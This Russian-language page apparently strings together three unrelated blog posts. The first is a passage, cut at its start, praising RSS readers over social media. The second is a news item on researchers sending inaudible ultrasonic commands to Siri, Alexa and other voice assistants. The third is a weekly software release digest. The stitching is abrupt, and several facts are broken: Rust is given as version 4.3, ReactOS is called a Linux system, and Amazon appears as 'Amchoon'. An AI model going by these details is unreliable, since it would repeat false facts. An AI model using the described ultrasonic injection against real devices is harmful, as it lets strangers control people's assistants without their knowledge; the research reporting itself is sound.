И вы не пропустите ни одного дня, ни одной новости, ни какого-то важного телевизионного репортажа или обзора игры, если останетесь без сети на 24 часа. Всё это будет ждать вас по возвращении. А если вы, к примеру, в отпуске и количество непрочитанных новостей станет чрезвычайно большим, просто нажмите кнопку «Пометить всё прочитанным» и начните с чистого листа.

Новости, нефильтрованные

Конечно, при неправильном подборе RSS-каналов, можно создать себе небольшой новостной пузырь, но мы уверены, что вы будете осознанно выбирать источники, при этом имея в виду, что новости приходят без всякой фильтрации — ни по количеству комментариев, ни по количеству отметок «понравилось»/»поделились» от других пользователей.

Вам не придётся читать о том, что ваш дядя думает о последних действиях нашего президента, или, тем более, зарываться в глубь комментариев Facebook, чтобы добраться до новости где-то в конце списка. Конечно, выбранные вами источники новостей могут быть не очень достоверными, но по крайней мере вы избавлены от лишнего шума.

Почему RSS удобнее, чем Facebook и Twitter, для отслеживания новостей

Итак, если вы читаете новости в социальных сетях, вы полностью полагаетесь на мнение и оценки других людей. Если хотите, RSS это как доставленная утром любимая газета, вместо вечернего посещения местного бара для того, чтобы послушать о чём все говорят.

Не только новости

Новости — основной драйвер для RSS и, наверняка, большинство ваших лент будут заполнены десятками новых статей каждый день, но технология также доказывает свою ценность и для отслеживания других вещей, которые вы обычно пропускаете в социальных сетях. Возможно, это новые обои на арт-сайте или только появившийся блог, статьи которого вы не хотите пропустить.

Можно найти RSS-ленты для погодных оповещений, новых версий любимых приложений, оповещений по ключевым словам в поисковиках, новых видео на каналах YouTube и даже последние изменения в каталоге Netflix. В принципе, со всем, что вы, возможно, захотите отслеживать и не пропустить из-за какофонии голосов в социальных сетях, RSS может помочь.

Почему RSS удобнее, чем Facebook и Twitter, для отслеживания новостей

Очень полезный сервис IFTTT (If This Then That) также отлично работает с RSS, предоставляя вам ещё больше способов использования этой технологии. Вы можете создавать апплеты для генерации твитов или постов в Facebook или обновлений в Instagram из определенного канала RSS. Zapier — похожий сервис, он также может получать RSS-каналы из любого источника в Интернете и подключать их к другим приложениям и платформам.

Гуляя по Сети, вы найдёте RSS в большем количестве мест, чем ожидали — будь то субреддиты или пользователи Reddit, категории Craigslist или подкасты SoundCloud, а ваш RSS-клиент отлично справится со всем этим.

В поисках RSS-клиента

Мы не можем здесь рассказать о всех клиентах RSS, но постараемся рекомендовать лучшие из них, на наш взгляд. Digg Reader не обладает большим функционалом, однако базовые вещи делает очень хорошо. В нём вы можете добавлять статьи в закладки для последующего чтения, а также в нём есть отличные рекомендации контента со всей сети Digg (но только если вам это интересно).

Feedly — более функциональный вариант, особенно в его платной версии — с мобильным приложением, поддержкой категорий и удобным настраиваемым интерфейсом. Кроме того, в нём есть множество сторонних интеграций, включая такие, как IFTTT.

Почему RSS удобнее, чем Facebook и Twitter, для отслеживания новостей

Panda — стильный и относительно молодой агрегатор новостей с удобным настраиваемым интерфейсом. Возможно, пока он не сравнится функционалом с более старшими аналогами, но в ближайших планах проекта поддержка плагинов и огромный функционал.

После закрытия Google Reader стало довольно сложно выбрать RSS-клиент, поэтому прежде чем остановить свой выбор на каком-либо, убедитесь, что в нём есть экспорт каналов, если вы передумаете и захотите попробовать другой клиент.

А какой ваш любимый RSS-клиент?

По материалам «Why RSS Still Beats Facebook and Twitter for Tracking News»

Банальная уязвимость голосового помощника: ультразвук

Банальная уязвимость голосового помощника: ультразвук
Siri и Alexa слышат лучше, чем вы, и в этом проблема.

Возможно, вы думаете, что смогли бы услышать, как кто-то подает вашему голосовому помощнику нежелательные команды. Однако, выясняется, что аппаратные средства и алгоритмы, используемые для управления такими устройствами, как Amchoon Echo speaker или Apple Siri, на самом деле могут слышать команды, подаваемые в ультразвуковом диапазоне, который находится за пределами возможностей человеческого слуха.

Исследователи из Университета Чжэцзян в Китае показали, что можно посылать команды в виде высокочастотного звука, которые может быть распознан голосовыми помощниками. Обычный человеческий голос перемодулируется в ультразвуковой сигнал так же, как музыка может быть закодирована на радиоволнах. Микрофон на устройствах, типа iPhone или Amazon Echo, в состоянии обнаружить звук, а их программное обеспечение — обработать голосовой сигнал, закодированный таким образом.

Исследователи говорят, что им удалось активировать Siri, чтобы инициировать вызов FaceTime на iPhone, отдать команду Google Now переключить телефон в режим полета и даже управлять навигационной системой Audi. Тот же трюк работает и с Cortana, и с Alexa.

Стоит отметить, что подобный вид атаки не является чем-то удивительным. Исследователи уже показывали, как микрофоны и динамики на смартфонах могут быть использованы злоумышленниками для отправки и приема ультразвука. Так что, этот частный случай был призван выяснить, реагирует ли программное обеспечение на сигналы, скрытые в высокочастотном звуке. Стало ясно, что реагирует.

Производители достаточно легко могут внедрить защиту от подобных атак, добавив исправления в аппаратные или программные средства. Но учитывая, что для атаки источник звука должен находиться поблизости от вашего устройства, это может быть и излишне. Если злоумышленник находится в вашем доме, или сигнал подается с другого взломанного устройства, по всей вероятности, у вас больше проблем, чем обнаруженная в Alexa уязвимость.

Дайджест релизов. Неделя 35.

Подведем итоги 35ой недели.
За эту неделю вышли значимые релизы нескольких различных операционных систем (Raspberry, Sailfish, Manjaro и др.), обновились языки программирования Rust, D, а также LibreOffice, Wine, Gitlab и не только.

Raspberry Slideshow — дистрибутив под платформу Raspberry Pi.
Версия 9.0
Release note

GnuPG — инструментарий предоставляющего утилиты для шифрования данных, работы с электронными подписями, управления ключами и доступа к публичным хранилищам ключей.
Версия 2.2.0
Release note

UGENE — опенсорсный пакет для работы молекулярного биолога.
Версия 1.27
Release note

Budgie — десктопное окружение дистрибутива Linux Solus, теперь становится доступно и для Linux дистрибутивов Debian, Ubuntu.
Версия 10.4
Release note

Bodhi Linux — дистрибутив Linux, предлагающий десктоп-окружение Moksha.
Версия 4.3
Release note

Sailfish — мобильная операционная система.
Версия 2.1.1
Release note

Rust — язык программирования.
Версия 4.3
Release note и более деталезированный release note

LibreOffice — офисный пакет.
Версия 5.4.1
Release note

Ubuntu EducationPack — дистрибутив для образовательных учреждений.
Версия 16.04
Release note

Wine — свободное программное обеспечение, позволяющее пользователям UNIX-подобных систем архитектуры x86 исполнять 16-, 32- и 64- битные приложения Microsoft Windows.
Версия 2.16
Release note

Gitlab — система управления git репозиториями
Версия 9.5.2
Release note

Компилятор языка D.
Версия 2.076
Release note

ReactOS — операционная система Linux.
Версия 0.4.6
Release note

IceCat — GNU web-браузер на основе Firefox.
Версия 52.3
Release note

Linux From Scratch и Beyond Linux From Scratch — руководства по созданию операционной системы с нуля.
Версии 8.1 и 8.1
Release note

Manjaro — дистрибутив Linux на основе ArchLinux.
Версия 17.0.3
Release note

Всем спасибо!